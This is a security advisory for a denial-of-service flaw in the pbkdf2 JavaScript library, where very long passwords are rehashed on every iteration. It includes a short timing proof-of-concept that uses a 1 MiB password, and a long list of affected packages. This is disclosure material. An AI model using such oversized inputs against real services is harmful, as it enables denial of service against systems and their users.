CVE-2026-102414

About vulnerability

Summary

This is the same bug as Django had (CVE-2013-1443).

Details

A long password can cause a DoS because it is not using cached HMAC, length limits, or pre-hashing passwords longer than the block size of the hash function as per HMAC spec. This line of code hashes the full password each iteration: https://github.com/browserify/pbkdf2/blob/1c3b1f526b052a29b3b42120c9821895772df7e8/lib/sync.js#L60

Also see https://github.com/browserify/pbkdf2/issues/82

PoC

The first key will take a lot longer to generate when not using the native code and uses code from /lib/sync.js (ie when this if statement is true): https://github.com/browserify/pbkdf2/blob/1c3b1f526b052a29b3b42120c9821895772df7e8/index.js#L33-L37

var pbkdf2 = require('pbkdf2');
var createHash = require('create-hash');
var pw = ".".repeat(1048576); // 1 MiB

var t0 = performance.now();
var key1 = pbkdf2.pbkdf2Sync(pw, "salt", 1000, 32, "sha256");
var t1 = performance.now();
pw = createHash('sha256').update(pw).digest(); // HMAC specification for keys larger than block size
var key2 = pbkdf2.pbkdf2Sync(pw, "salt", 1000, 32, "sha256");
var t2 = performance.now();

console.log("First took:  " + (t1 - t0));
console.log("Second took: " + (t2 - t1));
console.log("Generated keys:");
console.log(key1);
console.log(key2);

Impact

DoS

Affected product:

MetaMask/accounts , MetaMask/core , Next.js , Node.js , React , Vue , babel-loader , botbuilder-js , browserify , browserify-sign , cache-loader , celo-celocli , celo-connect , celo-contractkit , celo-dev-utils , celo-encrypted-backup , celo-explorer , celo-governance , celo-identity , celo-keystores , celo-phone-number-privacy-common , celo-wallet-base , celo-wallet-hsm , celo-wallet-hsm-azure , celo-wallet-hsm-gcp , celo-wallet-ledger , celo-wallet-local , celo-wallet-remote , celo-wallet-rpc , clean-webpack-plugin , copy-webpack-plugin , core , core-js , core-js-builder , core-js-bundle , core-js-pure , create-storybook , create-zephyr-apps , crypto-browserify , css-loader , developer-tooling , eslint-loader , eth-sig-util , ethereum-cryptography , ethereumjs-abi , ethereumjs-account , ethereumjs-block , ethereumjs-client , ethereumjs-ethereumjs-block , ethereumjs-monorepo , ethereumjs-tx , ethereumjs-vm , ethereumjs-wallet , ethereumjs/ethereumjs-monorepo , expo-webpack-config , expo-yarn-workspaces , extract-css-chunks-webpack-plugin , extract-text-webpack-plugin , file-loader , friendly-errors-webpack-plugin , hard-source-webpack-plugin , html-loader , html-webpack-plugin , istanbul-instrumenter-loader , jovidecroock-prefresh , metamask-account-tree-controller , metamask-accounts , metamask-address-book-controller , metamask-app-metadata-controller , metamask-approval-controller , metamask-assets-controller , metamask-assets-controllers , metamask-authenticated-user-storage , metamask-base-controller , metamask-bridge-controller , metamask-bridge-status-controller , metamask-claims-controller , metamask-client-utils , metamask-config-registry-controller , metamask-controller-utils , metamask-core , metamask-create-snap , metamask-delegation-controller , metamask-earn-controller , metamask-eip-5792-middleware , metamask-ens-controller , metamask-error-reporting-service , metamask-eth-snap-keyring , metamask-gas-fee-controller , metamask-gator-permissions-controller , metamask-json-rpc-engine , metamask-keyring-controller , metamask-keyring-internal-snap-client , metamask-keyring-snap-client , metamask-keyring-snap-sdk , metamask-logging-controller , metamask-message-manager , metamask-messenger , metamask-money-account-upgrade-controller , metamask-multichain-account-service , metamask-multichain-api-middleware , metamask-multichain-network-controller , metamask-multichain-transactions-controller , metamask-network-controller , metamask-network-enablement-controller , metamask-notification-services-controller , metamask-permission-controller , metamask-phishing-controller , metamask-preferences-controller , metamask-profile-metrics-controller , metamask-profile-sync-controller , metamask-queued-request-controller , metamask-ramps-controller , metamask-remote-feature-flag-controller , metamask-rpc-methods , metamask-sample-controllers , metamask-seedless-onboarding-controller , metamask-selected-network-controller , metamask-shield-controller , metamask-signature-controller , metamask-smart-transactions-controller , metamask-snap-account-service , metamask-snaps-browserify-plugin , metamask-snaps-cli , metamask-snaps-controllers , metamask-snaps-execution-environments , metamask-snaps-jest , metamask-snaps-rollup-plugin , metamask-snaps-rpc-methods , metamask-snaps-sdk , metamask-snaps-simulation , metamask-snaps-simulator , metamask-snaps-types , metamask-snaps-ui , metamask-snaps-utils , metamask-snaps-webpack-plugin , metamask-social-controllers , metamask-subscription-controller , metamask-transaction-controller , metamask-transaction-pay-controller , metamask-user-operation-controller , metamask-wallet , mini-css-extract-plugin , minimizer-webpack-plugin , modern-js-app-tools , modern-js-babel-compiler , modern-js-babel-plugin-module-resolver , modern-js-babel-preset , modern-js-core , modern-js-flight-server-transform-plugin , modern-js-plugin-i18n , modern-js-plugin-polyfill , modern-js-prod-server , modern-js-rsbuild-plugin-esbuild , modern-js-server , modern-js-server-core , modern-js-server-utils , modern-js-tsconfig , modern-js-uni-builder , modern-js-utils , modern.js , npm:@metamask/money-account-utils , npm:@metamask/polling-controller , null-loader , nuxt , open-wc-testing-karma , optimize-css-assets-webpack-plugin , parcel-bundler , parse-asn1 , pbkdf2 , postcss-loader , prefresh-webpack , preload-webpack-plugin , progress-bar-webpack-plugin , publicencrypt , rollup-plugin-zephyr , rsbuild-plugin-node-polyfill , rushstack-hashed-folder-copy-plugin , rushstack-heft-webpack4-plugin , rushstack-webpack4-localization-plugin , rushstack-webpack4-module-minifier-plugin , sass-loader , sb , schema-utils , script-ext-html-webpack-plugin , snaps , storybook , storybook-addon-a11y , storybook-addon-docs , storybook-addon-links , storybook-addon-onboarding , storybook-addon-themes , storybook-angular , storybook-builder-webpack5 , storybook-cli , storybook-codemod , storybook-core-webpack , storybook-ember , storybook-html-vite , storybook-nextjs , storybook-preact , storybook-preset-create-react-app , storybook-preset-react-webpack , storybook-preset-server-webpack , storybook-react , storybook-react-dom-shim , storybook-react-native-web-vite , storybook-react-vite , storybook-react-webpack5 , storybook-server , storybook-server-webpack5 , storybook-vue3 , storybook-vue3-vite , storybook-vue3-webpack5 , storybook-web-components , storybook-web-components-vite , storybook-web-components-webpack5 , style-loader , style-resources-loader , teams.ts , thread-loader , time-fix-plugin , trezor-connect-web , trezor-suite , uglifyjs-webpack-plugin , url-loader , vite-plugin-tanstack-start-zephyr , vite-plugin-vinext-zephyr , vite-plugin-zephyr , web-infra-dev/modern.js , web3 , web3-bzz , web3-core , web3-core-helpers , web3-core-method , web3-core-promievent , web3-core-requestmanager , web3-core-subscriptions , web3-eth , web3-eth-accounts , web3-eth-contract , web3-eth-ens , web3-eth-iban , web3-eth-personal , web3-net , web3-providers-http , web3-providers-ipc , web3-providers-ws , web3-shh , web3-utils , web3.js , webpack , webpack-dev-middleware , webpack-dev-server , webpack-manifest-plugin , webpack-subresource-integrity , webpackbar , with-zephyr , zephyr-agent , zephyr-astro-integration , zephyr-edge-contract , zephyr-metro-plugin , zephyr-modernjs-plugin , zephyr-nuxt-module , zephyr-packages , zephyr-repack-plugin , zephyr-rolldown-plugin , zephyr-rsbuild-plugin , zephyr-rspack-plugin , zephyr-rspress-plugin , zephyr-webpack-plugin , zephyr-xpack-internal

Affected packages:

pbkdf2 @ 3.1.6 (+1148 more)